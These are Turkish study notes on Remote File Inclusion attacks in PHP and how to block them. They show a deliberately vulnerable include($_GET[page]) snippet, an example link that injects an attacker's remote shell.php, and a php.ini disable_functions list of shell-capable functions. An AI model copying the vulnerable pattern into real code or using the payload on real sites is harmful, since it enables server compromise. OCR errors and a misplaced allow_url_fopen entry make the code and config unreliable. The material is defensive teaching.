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Bir makale internetten bulunup su adreste yedeklenmistir.

e https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/RFI
%20Sald%C4%B1r%C4%B15%C4%B1%20ve%20Engelleme%20Y
%C3%B6ntemi.pdf

Bu belge ise yedeklenen bu makaleye calisilarak elde edilen notlarimi
kapsamaktadir. Bu c¢ikarilan notlar belgemde alintilar ve/veya kisisel ilavelerim
mevcuttur.




RFI Saldirisindan Korunma Yontemi

Asagidakini kodlamis bir web gelistiricisi

<a href=index.php?page=file1.php>Files</a>
<?php

$page = $_GET|[page];

include($page);
7>

page parametresinin degerini kendi koydugu icin php kodlamasinda bu parametreyi
cekerken aldigi degeri filtreleme geredi duymaz. Fakat saldirgan Firebug gibi bir aracla
<a> tag'inin icerdigi linkin parametre degerini kendi sitesi yaparak bir shell
goriantilemesi yaptirtabilir. Mesela;

<a href=index.php?page=www.saldirganinsitesi.com/shell.php>Files</a>
<?php

$page = $_GET|[page];

include($page);
2>

RFI Saldirisindan Korunma Yontemi

Sitenizde RFI acigi var mi taramasini bazi script’ler ile otomatikmen
yapabilirsiniz. Bunlardan biri bir Perl script’i olan rfiscanner.pl dir. Bu tur
taramay! pixy adli program da yapabilmektedir. Taramalar sonucu sitedeki
aciklan gelistirici kapattiktan( parametre degerleri filtreledikten ) sonra
yapmasl gereken onlemlerden biri de sunucu ayarlarini dizenlemektir. Bu
ayarlar dosya izinlerini degistirmek ve php.ini dosyasindaki bazi
parametrelerin degerlerini dizenlemektir.

Eger sunucu Uzerinde yonetici haklarina sahipseniz /etc/ dizininde bulunan
php.ini dosyasinda yapacaginiz degisikligi sunucuda barinan tim web
sitelerine uygulamis olursunuz. Eger sunucu Uzerinde yonetici haklarina
sahip bir hesabiniz yoksa php.ini'ye ulasamazsiniz. Fakat kendi sitenizin kok
dizininde kendi php.ini dosyanizi olusturabilirsiniz.

Php.ini ile kullanilmayacak bazi tehlikeli PHP fonksiyonlari disable edilir.
Boylece shell yuklense bile calismayacaktir.



Yapilacak adimlar sunlardir:

NOT: Asagida anlatilanlar sistem ile ilgili degisikliklere neden olacagi icin bazi
web sayfalar Uzerinde calisan script’lerin calisamaz hale gelmesine neden
olabilir.

a) izinler sistemdeki klasérler icin 755 olarak dosyalar icin ise 644 olarak
ayarlanmalidir.

b) php.ini dosyasindaki disable functions satirini bulup deger olarak
asagidaki komutlar girilmelidir:

disable_functions = allow_url_fopen, execute, shellexec, exec, system,
passthru, proc_close, popen, tus, proc_get sta, proc_nice, proc_open

Boylece sitenize shell dosyasi yuklense bile calismayacaktir.
c) Devami biraz detay oldugu icin not alinmadi. Devamini “Tez

Raporu/Literatiir Taramasi/incelenmis Makaleler/” dizinindeki RFI Saldirisi ve
Engelleme Yéntemi.pdf dosyasinin 5.sayfasindan itibaren okuyabilirsin.



